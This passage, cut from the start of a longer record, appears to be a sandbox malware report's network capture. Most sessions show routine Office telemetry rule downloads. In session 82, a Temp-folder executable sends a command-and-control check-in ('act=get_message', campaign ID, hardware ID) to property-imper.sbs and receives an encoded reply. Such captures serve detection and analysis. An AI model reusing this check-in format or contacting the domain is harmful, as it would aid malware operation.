T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:55 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:56 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201556Z-174c587ffdfp4vpjhC1TEBybqw00000003a000000000pmx5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:55 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201556Z-178bfbc474bv587zhC1NYCny5w00000004q000000000ph0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:55 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:56 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ea05e59b-301e-0033-4bf7-3cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201556Z-178bfbc474bbbqrhhC1NYCvw7400000004zg00000000ntrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:58 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:58 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201558Z-178bfbc474bpnd5vhC1NYC4vr400000004w000000000fpee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:59 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:58 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:58 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ca94d1e-301e-0000-0f9c-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201558Z-174c587ffdfgcs66hC1TEB69cs00000003a0000000007yg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:59 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:59 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:59 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201559Z-178bfbc474bh5zbqhC1NYCkdug00000004t000000000m83p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:59 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:59 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201600Z-15b8b599d889gj5whC1TEBfyk0000000034000000000p4zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:59 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:00 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201600Z-174c587ffdfldtt2hC1TEBwv9c000000038000000000bg50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:00 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:00 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201601Z-178bfbc474btrnf9hC1NYCb80g000000055000000000553x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:00 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201601Z-15b8b599d88qw29phC1TEB5zag00000003gg0000000005g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49836	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 20:16:00 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=2AE2D32B64EEFAB7D7CBBD6DF28D3732
2024-11-23 20:16:01 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0uq02omdo9f4amjl59nfacq7lt; expires=Wed, 19-Mar-2025 14:02:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WKVCVFqrxZDNAbL6fauWcXyEbvS765rUNLHb4m62Rbyv29NT0RURGMrbcwXPZ7IGbAQ4GqVnGLS6TizulGdKKaYyl8i99PvPG8Q7XlAF46MGbyQbdf%2BEEnXZZFxeXq4858%2FCwqk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d5a7490042b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1914&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4232&recv_bytes=990&delivery_rate=107108&cwnd=231&unsent_bytes=0&cid=ebedcbc57d953bb7&ts=773&x=0"
2024-11-23 20:16:01 UTC	214	IN	Data Raw: 64 30 0d 0a 49 6b 38 59 54 4f 61 6d 6a 61 2b 30 32 4e 33 4a 30 74 58 72 6f 50 51 35 51 4f 5a 49 68 47 2f 6c 50 47 6d 39 61 44 42 5a 6d 56 78 35 4e 44 6f 35 78 4a 79 76 78 38 43 73 72 66 4f 4f 2b 72 65 50 78 51 46 31 79 48 71 31 57 73 73 4e 57 49 35 47 41 57 2f 46 63 30 30 70 66 68 44 4a 77 75 6a 4a 6d 72 32 6c 72 50 44 35 79 63 61 41 47 33 72 57 5a 4b 59 4b 78 77 5a 59 77 45 52 4c 65 2b 78 2b 47 47 31 77 4f 4a 4c 57 74 2f 4f 62 68 50 4c 34 36 75 44 46 6b 73 55 4d 62 74 64 35 74 30 48 55 43 6a 57 53 47 30 51 38 2b 44 46 2b 59 47 6f 74 69 4d 4c 69 77 70 71 39 70 61 7a 77 2b 63 6e 47 67 42 74 36 31 6d 53 6d 43 73 63 47 57 63 41 31 0d 0a Data Ascii: d0Ik8YTOamja+02N3J0tXroPQ5QOZIhG/lPGm9aDBZmVx5NDo5xJyvx8CsrfOO+rePxQF1yHq1WssNWI5GAW/Fc00pfhDJwujJmr2lrPD5ycaAG3rWZKYKxwZYwERLe+x+GG1wOJLWt/ObhPL46uDFksUMbtd5t0HUCjWSG0Q8+DF+YGotiMLiwpq9pazw+cnGgBt61mSmCscGWcA1
2024-11-23 20:16:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:01 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
